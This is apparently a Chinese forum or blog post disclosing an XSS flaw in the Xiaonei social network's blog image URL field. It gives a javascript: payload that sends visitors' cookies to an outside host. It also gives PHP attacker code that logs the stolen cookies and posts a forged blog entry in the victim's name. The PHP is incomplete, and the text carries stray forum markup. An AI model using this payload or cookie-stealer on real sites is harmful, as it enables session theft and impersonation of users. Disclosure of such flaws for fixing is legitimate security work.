校内网在发blog时对插入图片过滤不严格，存在xss漏洞.
在发blog时将插入图片URL写为如下代码即可触发：普通浏览复制代码打印代码
javascript:window.location.href='http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie='+document.cookie
javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码
<?php
ob_start();
$url = 'blog.xiaonei.com';
$cookie=$_GET['cookie'];
$cookie1=$cookie."rnrn";
fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt
//发一条伪造的日志，这条日志里面也可以插入恶意代码
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)n");
$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";
fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1rn");

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
//echo $body;
//跳转到一个正常的日志
